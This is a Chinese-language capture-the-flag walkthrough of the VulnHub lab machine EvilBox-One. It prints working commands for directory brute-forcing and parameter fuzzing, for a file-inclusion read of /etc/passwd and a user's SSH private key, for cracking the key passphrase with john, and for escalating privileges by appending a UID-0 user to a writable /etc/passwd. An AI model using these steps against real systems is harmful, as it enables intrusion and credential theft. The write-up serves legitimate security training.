『vulnhub系列』EVILBOX-ONE
下載地址:
https://www.vulnhub.com/entry/evilbox-one,736/
資訊蒐集:
使用nmap探測內網存活主機,發現開啟了22 和 80埠
nmap 192.168.0.*
訪問80埠web服務,發現apache預設頁面
使用dirsearch進行目錄爆破
dirsearch -u "http://192.168.0.131"
訪問/robots.txt
發現一句話,H4x0r
可能是使用者名稱或密碼
Hello H4x0r
訪問/secret/
發現是空白,我們來掃描這個目錄,發現沒有結果
我們可以嘗試換個工具和字典
gobuster dir -u "http://192.168.0.131/secret/" -w /usr/share/wordlists/dirb/big.txt -x .php
- -u 目標url
- -w wordlist字典
- -x 檔案字尾
不知道為什麼使用dirb用同樣的字典和指定php爆破不出來
dirsearch -e php -w /usr/share/wordlists/dirb/big.txt -u "http://192.168.0.131/secret/"
最後發現evli.php,但是發現頁面還是空的
接下來使用工具ffuf進行爆破引數,最後得到引數為command
ffuf -u 'http://192.168.0.131/secret/evil.php?FUZZ=../../../../etc/passwd' -w "/usr/share/wordlists/dirbuster/directory-list-2.3-small.txt" -fs 0
- -fs 0 過濾大小為0
- FUZZ為字典爆破欄位
- ../../../../etc/passwd因為不確定是命令執行還是任意檔案讀取,可以用隨意命令爆破,和足夠多的../../../。。。。/etc/passwd來確定
漏洞利用:
因為剛剛那個,可能是密碼,所以我們正好讀取/etc/passwd
檢視頁面原始碼,可以換行,發現使用者名稱為mowree
使用mowree
來登入H4x0r
為密碼,發現登入失敗,看來沒這麼簡單,繼續使用任意檔案讀取
眾所周知,我們除了使用密碼登入ssh以外,還可以使用證書,而證書的私鑰一般儲存的位置
為/home/xxx/.ssh/id_rsa
中xxx
為使用者名稱,我們使用任意檔案讀取發現確實存在
command=../../../../home/mowree/.ssh/id_rsa
複製下來,使用ssh2john工具將id_rsa
轉化為john可以是識別的hash
ssh2john id_rsa > hash #將hash值輸出到hash檔案中
再使用john來破解密碼,得到密碼unicorn
john hash --wordlist=rockyou.txt #使用wordlist(字典)破解,這裡的字典是
#/usr/share/wordlists/裡的rockyou需要解壓一下
此時使用私鑰登入,結果發現有警告,並且需要輸入mowree
的密碼
ssh -i id_rsa mowree@192.168.0.131
原因是,id_rsa的預設許可權為700,所以會出現告警。因此我們將id_rsa的許可權修改為700
chmod 700 id_rsa
此時登入,輸入unicorn
即可登陸成功
提升許可權:(passwd提權)
檢視所有既有SUID許可權的檔案,沒有發現異常
find / -perm -u=s -type f 2>/dev/null
使用命令檢視使用者可以以root許可權執行的命令,發現沒有這個命令
sudo -l
最後發現此使用者對/etc/passwd
具有寫許可權,那麼這裡就可以使用passwd提權
拿root在passwd中的條目依次來看
root:x:0:0:root:/root:/bin/bash
- root:使用者名稱
- x:有密碼,本來是放加密後的密碼的,但後來都放入shadow中了,但也依舊支援此處是加密後的密碼
- 0:使用者UID為0
- 0:使用者組GID為0
- root:使用者備註資訊
- /root:使用者home目錄
- /bin/bash:使用者預設的bash
因此,現在我們在對passwd有寫許可權後,我們完全構造一個類似的root使用者,我們個給passwd追加一個使用者,那麼現在首要就是生成一個加密後的密碼(加鹽值),這裡使用pyhton來生成
python3 -c 'import crypt;print(crypt.crypt("123456","addsalt"))'
#生成加鹽值的密碼
adrla7IBSfTZQ
現在我們來構造一個使用者
test:adrla7IBSfTZQ:0:0:root:/root:/bin/bash
然後追加到passwd中:
echo "test:adrla7IBSfTZQ:0:0:root:/root:/bin/bash" >> /etc/passwd
檢視一下發現新增成功
我們此時切換為test使用者看一下,獲得root許可權
成果:
登入mowree
使用者後在目錄下發現user.txt
56Rbp0soobpzWSVzKh9YOvzGLgtPZQ
獲得root許可權後,在其目錄下發現root.txt
36QtXfdJWvdC0VavlPIApUbDlqTsBM